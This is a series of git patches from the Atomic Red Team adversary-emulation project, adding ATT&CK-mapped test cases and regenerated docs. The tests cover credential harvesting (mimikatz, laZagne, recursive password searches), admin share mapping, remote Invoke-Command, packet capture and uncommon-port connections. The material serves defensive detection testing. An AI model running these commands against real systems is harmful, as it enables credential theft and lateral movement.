    + +## Atomic Test #5 - Invoke-Command +Execute Invoke-command on remote host + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| host_name | Remote Windows Host Name | String | Test| +| remote_command | Command to execute on remote Host | String | ipconfig| + +#### Run it with `powershell`! +``` +invoke-command -computername #{host_name} -scriptblock {#{remote_command}} +``` +
    diff --git a/atomics/index.md b/atomics/index.md index 0b86ffed..9d1693af 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -460,6 +460,7 @@ - Atomic Test #2: PowerShell Lateral Movement [windows] - Atomic Test #3: WMIC Process Call Create [windows] - Atomic Test #4: Psexec [windows] + - Atomic Test #5: Invoke-Command [windows] # lateral-movement - [T1155 AppleScript](./T1155/T1155.md) @@ -491,6 +492,7 @@ - Atomic Test #2: PowerShell Lateral Movement [windows] - Atomic Test #3: WMIC Process Call Create [windows] - Atomic Test #4: Psexec [windows] + - Atomic Test #5: Invoke-Command [windows] # collection - [T1123 Audio Capture](./T1123/T1123.md) diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 8da80c60..28bdc779 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -294,6 +294,7 @@ - Atomic Test #2: PowerShell Lateral Movement [windows] - Atomic Test #3: WMIC Process Call Create [windows] - Atomic Test #4: Psexec [windows] + - Atomic Test #5: Invoke-Command [windows] # collection - [T1123 Audio Capture](./T1123/T1123.md) @@ -385,6 +386,7 @@ - Atomic Test #2: PowerShell Lateral Movement [windows] - Atomic Test #3: WMIC Process Call Create [windows] - Atomic Test #4: Psexec [windows] + - Atomic Test #5: Invoke-Command [windows] # command-and-control - T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) From 6415b4db7e4be9383c08945d6ec223687411a2d3 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Mon, 25 Jun 2018 11:38:09 +0000 Subject: [PATCH 42/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1002/T1002.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1002/T1002.md b/atomics/T1002/T1002.md index e9619594..e6209d92 100644 --- a/atomics/T1002/T1002.md +++ b/atomics/T1002/T1002.md @@ -54,7 +54,7 @@ TODO | input_file | Path that should be compressed into our output file | Path | *.docx| | output_file | Path where resulting compressed data should be placed | Path | exfilthis.rar| -#### Run it with `powershell`! +#### Run it with `command_prompt`! ``` rar a -r #{output_file} #{input_file} ``` From 3f2dad168d77cbf30a95cc997bb68e16a81a26a9 Mon Sep 17 00:00:00 2001 From: Swelc Date: Mon, 25 Jun 2018 21:45:27 -0500 Subject: [PATCH 43/91] Added Network Sniffing along with notes stating additional modules may be required --- atomics/T1040/T1040.yaml | 70 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 atomics/T1040/T1040.yaml diff --git a/atomics/T1040/T1040.yaml b/atomics/T1040/T1040.yaml new file mode 100644 index 00000000..a201c210 --- /dev/null +++ b/atomics/T1040/T1040.yaml @@ -0,0 +1,70 @@ +--- +attack_technique: T1040 +display_name: Network Sniffing + +atomic_tests: +- name: Packet Capture Linux + description: | + Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed. + supported_platforms: + - linux + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: ens33 + executor: + name: bash + command: | + tcpdump -c 5 -nnni #{interface} + tshark -c 5 -i #{interface} + +- name: Packet Capture MacOS + description: | + Perform a PCAP on MacOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed. + supported_platforms: + - macos + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: en0A + executor: + name: bash + command: | + tcpdump -c 5 -nnni #{interface} + tshark -c 5 -i #{interface} + +- name: Packet Capture Windows Command Prompt + description: | + Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark + installed, along with WinPCAP. Windump will require the windump executable. + supported_platforms: + - windows + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: Ethernet0 + executor: + name: command_prompt + command: | + c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 + c:\windump.exe + +- name: Packet Capture PowerShell + description: | + Perform a packet capture using PowerShell with windump or tshark. This will require a host that has Wireshark/Tshark + installed, along with WinPCAP. Windump will require the windump executable. + supported_platforms: + - windows + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: Ethernet0 + executor: + name: powershell + command: | + c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 + c:\windump.exe From 11a5c061ab2caf753fd9e1b3abd835c05a7e2f5e Mon Sep 17 00:00:00 2001 From: Swelc Date: Mon, 25 Jun 2018 21:53:01 -0500 Subject: [PATCH 44/91] Added notes about additional modules being needed for Mimikatz etc --- atomics/T1081/T1081.yaml | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/atomics/T1081/T1081.yaml b/atomics/T1081/T1081.yaml index 3fe8419d..b96cd2dd 100644 --- a/atomics/T1081/T1081.yaml +++ b/atomics/T1081/T1081.yaml @@ -14,3 +14,42 @@ atomic_tests: name: sh command: | python2 laZagne.py all + +- name: Extract credentials from files + description: | + Extracting credentials from files + input_arguments: + file_path: + description: Path to search + type: String + default: / + supported_platforms: + - macos + - linux + executor: + name: sh + command: | + grep -riP password #{file_path} + +- name: Mimikatz & Kittenz + description: | + Mimikatz/kittenz - This will require a Mimikatz executable or invoke-mimikittenz ps module. + supported_platforms: + - windows + executor: + name: powershell + command: | + invoke-mimikittenz + mimikatz.exe + +- name: Extracting credentials from files + description: | + Extracting Credentials from Files + supported_platforms: + - windows + executor: + name: powershell + command: | + findstr /si pass *.xml | *.doc | *.txt | *.xls + ls -R | select-string -Pattern password + From d4c966f6de14fa8daae1c077cb8c7ebb58613f76 Mon Sep 17 00:00:00 2001 From: Swelc Date: Tue, 26 Jun 2018 07:34:07 -0500 Subject: [PATCH 45/91] T1065 added --- atomics/T1065/T1065.yaml | 50 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 atomics/T1065/T1065.yaml diff --git a/atomics/T1065/T1065.yaml b/atomics/T1065/T1065.yaml new file mode 100644 index 00000000..f96d5738 --- /dev/null +++ b/atomics/T1065/T1065.yaml @@ -0,0 +1,50 @@ +--- +attack_technique: T1065 +display_name: Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls. + +atomic_tests: +- name: Testing usage of uncommonly used port with PowerShell + description: | + Testing uncommonly used port utilizing PowerShell + + supported_platforms: + - windows + + input_arguments: + port: + description: Specify uncommon port number + type: String + default: 8081 + hostname: + description: Specify target hostname + type: String + default: google.com + + executor: + name: powershell + command: | + test-netconnection -ComputerName #{hostname} -port #{port} + +- name: Testing usage of uncommonly used port + description: | + Testing uncommonly used port utilizing telnet. + + supported_platforms: + - linux + - macos + + input_arguments: + port: + description: Specify uncommon port number + type: String + default: 8081 + hostname: + description: Specify target hostname + type: String + default: google.com + + executor: + name: sh + command: | + telnet #{hostname} #{port} + From 656ffed1292ba0f753422adbac127afa9993d2f8 Mon Sep 17 00:00:00 2001 From: Swelc Date: Tue, 26 Jun 2018 23:36:06 -0500 Subject: [PATCH 46/91] T1077 Added PowerShell map drive technique --- atomics/T1077/T1077.yaml | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/atomics/T1077/T1077.yaml b/atomics/T1077/T1077.yaml index 9f28d544..9dd03560 100644 --- a/atomics/T1077/T1077.yaml +++ b/atomics/T1077/T1077.yaml @@ -3,7 +3,7 @@ attack_technique: T1077 display_name: Windows Admin Shares atomic_tests: -- name: TODO +- name: Map admin share description: | Connecting To Remote Shares @@ -31,3 +31,26 @@ atomic_tests: name: command_prompt command: | cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}" + +- name: Map Admin Share PowerShell + description: | + Map Admin share utilizing PowerShell + supported_platforms: + - windows + input_arguments: + share_name: + description: Examples C$, IPC$, Admin$ + type: String + default: C$ + computer_name: + description: Target Computer Name + type: String + default: Target + map_name: + description: Mapped Drive Letter + type: String + default: g + executor: + name: powershell + command: | + New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name} \ No newline at end of file From eaa3a22167a148492527763cfc6aa756a0fc092c Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 27 Jun 2018 11:18:16 +0000 Subject: [PATCH 47/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1077/T1077.md | 26 ++++++++++++++++++++++++-- atomics/index.md | 3 ++- atomics/windows-index.md | 3 ++- 3 files changed, 28 insertions(+), 4 deletions(-) diff --git a/atomics/T1077/T1077.md b/atomics/T1077/T1077.md index 99c7ea33..cbe4893e 100644 --- a/atomics/T1077/T1077.md +++ b/atomics/T1077/T1077.md @@ -20,12 +20,14 @@ Use of domain account in administrator group on remote system or default system ## Atomic Tests -- [Atomic Test #1 - TODO](#atomic-test-1---todo) +- [Atomic Test #1 - Map admin share](#atomic-test-1---map-admin-share) + +- [Atomic Test #2 - Map Admin Share PowerShell](#atomic-test-2---map-admin-share-powershell)
    -## Atomic Test #1 - TODO +## Atomic Test #1 - Map admin share Connecting To Remote Shares **Supported Platforms:** Windows @@ -44,3 +46,23 @@ Connecting To Remote Shares cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}" ```
    +
    + +## Atomic Test #2 - Map Admin Share PowerShell +Map Admin share utilizing PowerShell + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| share_name | Examples C$, IPC$, Admin$ | String | C$| +| computer_name | Target Computer Name | String | Target| +| map_name | Mapped Drive Letter | String | g| + +#### Run it with `powershell`! +``` +New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name} +``` +
    diff --git a/atomics/index.md b/atomics/index.md index 9d1693af..f7864b4f 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -486,7 +486,8 @@ - T1080 Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1077 Windows Admin Shares](./T1077/T1077.md) - - Atomic Test #1: TODO [windows] + - Atomic Test #1: Map admin share [windows] + - Atomic Test #2: Map Admin Share PowerShell [windows] - [T1028 Windows Remote Management](./T1028/T1028.md) - Atomic Test #1: Enable Windows Remote Management [windows] - Atomic Test #2: PowerShell Lateral Movement [windows] diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 28bdc779..39955382 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -288,7 +288,8 @@ - T1080 Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1077 Windows Admin Shares](./T1077/T1077.md) - - Atomic Test #1: TODO [windows] + - Atomic Test #1: Map admin share [windows] + - Atomic Test #2: Map Admin Share PowerShell [windows] - [T1028 Windows Remote Management](./T1028/T1028.md) - Atomic Test #1: Enable Windows Remote Management [windows] - Atomic Test #2: PowerShell Lateral Movement [windows] From 1d9f22986ea6821d53686bba01b4a2d6881ce58d Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 27 Jun 2018 11:19:03 +0000 Subject: [PATCH 48/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1065/T1065.md | 57 +++++++++++++++++++++++++++++++++++++++ atomics/index.md | 4 ++- atomics/linux-index.md | 3 ++- atomics/linux-matrix.md | 2 +- atomics/macos-index.md | 3 ++- atomics/macos-matrix.md | 2 +- atomics/matrix.md | 2 +- atomics/windows-index.md | 3 ++- atomics/windows-matrix.md | 2 +- 9 files changed, 70 insertions(+), 8 deletions(-) create mode 100644 atomics/T1065/T1065.md diff --git a/atomics/T1065/T1065.md b/atomics/T1065/T1065.md new file mode 100644 index 00000000..1120d5a0 --- /dev/null +++ b/atomics/T1065/T1065.md @@ -0,0 +1,57 @@ +# T1065 - Uncommonly Used Port +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1065) +
    Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured. + +Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + +Platforms: Linux, macOS, Windows + +Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring + +Requires Network: Yes
    + +## Atomic Tests + +- [Atomic Test #1 - Testing usage of uncommonly used port with PowerShell](#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell) + +- [Atomic Test #2 - Testing usage of uncommonly used port](#atomic-test-2---testing-usage-of-uncommonly-used-port) + + +
    + +## Atomic Test #1 - Testing usage of uncommonly used port with PowerShell +Testing uncommonly used port utilizing PowerShell + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| port | Specify uncommon port number | String | 8081| +| hostname | Specify target hostname | String | google.com| + +#### Run it with `powershell`! +``` +test-netconnection -ComputerName #{hostname} -port #{port} +``` +
    +
    + +## Atomic Test #2 - Testing usage of uncommonly used port +Testing uncommonly used port utilizing telnet. + +**Supported Platforms:** Linux, macOS + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| port | Specify uncommon port number | String | 8081| +| hostname | Specify target hostname | String | google.com| + +#### Run it with `sh`! +``` +telnet #{hostname} #{port} +``` +
    diff --git a/atomics/index.md b/atomics/index.md index f7864b4f..bb3be5c1 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -562,7 +562,9 @@ - T1071 Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1032 Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1095 Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1065 Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1065 Uncommonly Used Port](./T1065/T1065.md) + - Atomic Test #1: Testing usage of uncommonly used port with PowerShell [windows] + - Atomic Test #2: Testing usage of uncommonly used port [linux, macos] - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # initial-access diff --git a/atomics/linux-index.md b/atomics/linux-index.md index d91e1dd0..8fc5b168 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -193,7 +193,8 @@ - T1071 Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1032 Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1095 Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1065 Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1065 Uncommonly Used Port](./T1065/T1065.md) + - Atomic Test #2: Testing usage of uncommonly used port [linux, macos] - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # initial-access diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index b669fd2e..3b1ed44c 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -20,5 +20,5 @@ | | | | | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Space after Filename](./T1151/T1151.md) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Timestomp](./T1099/T1099.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Uncommonly Used Port](./T1065/T1065.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index ca13fe5c..9e4c6130 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -239,7 +239,8 @@ - T1071 Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1032 Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1095 Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1065 Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1065 Uncommonly Used Port](./T1065/T1065.md) + - Atomic Test #2: Testing usage of uncommonly used port [linux, macos] - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # initial-access diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index 65786300..9d7b0e58 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -20,7 +20,7 @@ | | | [Re-opened Applications](./T1164/T1164.md) | | Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | [Startup Items](./T1165/T1165.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Trap](./T1154/T1154.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Trap](./T1154/T1154.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Uncommonly Used Port](./T1065/T1065.md) | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Process Injection](./T1055/T1055.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Rootkit](./T1014/T1014.md) | | | | | | | diff --git a/atomics/matrix.md b/atomics/matrix.md index 7d16bdf8..cd5a1447 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -20,7 +20,7 @@ | | [Regsvr32](./T1117/T1117.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Private Keys](./T1145/T1145.md) | [System Owner/User Discovery](./T1033/T1033.md) | [Windows Remote Management](./T1028/T1028.md) | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Service Discovery](./T1007/T1007.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | [Process Injection](./T1055/T1055.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Time Discovery](./T1124/T1124.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Gatekeeper Bypass](./T1144/T1144.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Gatekeeper Bypass](./T1144/T1144.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | [Uncommonly Used Port](./T1065/T1065.md) | | | Service Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | [Scheduled Task](./T1053/T1053.md) | [HISTCONTROL](./T1148/T1148.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | | | Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 39955382..1a5e2d61 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -408,7 +408,8 @@ - T1071 Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1032 Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1095 Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1065 Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1065 Uncommonly Used Port](./T1065/T1065.md) + - Atomic Test #1: Testing usage of uncommonly used port with PowerShell [windows] - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # initial-access diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index 916d5a9c..99d1dd55 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -19,7 +19,7 @@ | | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Service Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scheduled Task](./T1053/T1053.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Service Discovery](./T1007/T1007.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | [System Time Discovery](./T1124/T1124.md) | | | | Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | [System Time Discovery](./T1124/T1124.md) | | | | [Uncommonly Used Port](./T1065/T1065.md) | | | Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Logon Scripts](./T1037/T1037.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | [Trusted Developer Utilities](./T1127/T1127.md) | Modify Existing Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | From e1bb5f4ccaa351521ad503ab58f54392994a2b6c Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 27 Jun 2018 11:19:43 +0000 Subject: [PATCH 49/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1081/T1081.md | 52 ++++++++++++++++++++++++++++++++++++++++ atomics/index.md | 3 +++ atomics/linux-index.md | 1 + atomics/macos-index.md | 1 + atomics/windows-index.md | 2 ++ 5 files changed, 59 insertions(+) diff --git a/atomics/T1081/T1081.md b/atomics/T1081/T1081.md index 45c2d677..7ef7d6d9 100644 --- a/atomics/T1081/T1081.md +++ b/atomics/T1081/T1081.md @@ -18,6 +18,12 @@ System Requirements: Access to files - [Atomic Test #1 - Browser and System credentials](#atomic-test-1---browser-and-system-credentials) +- [Atomic Test #2 - Extract credentials from files](#atomic-test-2---extract-credentials-from-files) + +- [Atomic Test #3 - Mimikatz & Kittenz](#atomic-test-3---mimikatz--kittenz) + +- [Atomic Test #4 - Extracting credentials from files](#atomic-test-4---extracting-credentials-from-files) +
    @@ -32,3 +38,49 @@ System Requirements: Access to files python2 laZagne.py all ```
    +
    + +## Atomic Test #2 - Extract credentials from files +Extracting credentials from files + +**Supported Platforms:** macOS, Linux + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| file_path | Path to search | String | /| + +#### Run it with `sh`! +``` +grep -riP password #{file_path} +``` +
    +
    + +## Atomic Test #3 - Mimikatz & Kittenz +Mimikatz/kittenz - This will require a Mimikatz executable or invoke-mimikittenz ps module. + +**Supported Platforms:** Windows + + +#### Run it with `powershell`! +``` +invoke-mimikittenz +mimikatz.exe +``` +
    +
    + +## Atomic Test #4 - Extracting credentials from files +Extracting Credentials from Files + +**Supported Platforms:** Windows + + +#### Run it with `powershell`! +``` +findstr /si pass *.xml | *.doc | *.txt | *.xls +ls -R | select-string -Pattern password +``` +
    diff --git a/atomics/index.md b/atomics/index.md index bb3be5c1..8c19750d 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -372,6 +372,9 @@ - Atomic Test #4: Registry dump of SAM, creds, and secrets [windows] - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #1: Browser and System credentials [macos] + - Atomic Test #2: Extract credentials from files [macos, linux] + - Atomic Test #3: Mimikatz & Kittenz [windows] + - Atomic Test #4: Extracting credentials from files [windows] - T1214 Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1187 Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-index.md b/atomics/linux-index.md index 8fc5b168..615f39a5 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -101,6 +101,7 @@ - Atomic Test #1: xxxx [linux, macos] - [T1110 Brute Force](./T1110/T1110.md) - [T1081 Credentials in Files](./T1081/T1081.md) + - Atomic Test #2: Extract credentials from files [macos, linux] - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1056 Input Capture](./T1056/T1056.md) - T1040 Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/macos-index.md b/atomics/macos-index.md index 9e4c6130..3cfdee24 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -156,6 +156,7 @@ - [T1110 Brute Force](./T1110/T1110.md) - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #1: Browser and System credentials [macos] + - Atomic Test #2: Extract credentials from files [macos, linux] - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1056 Input 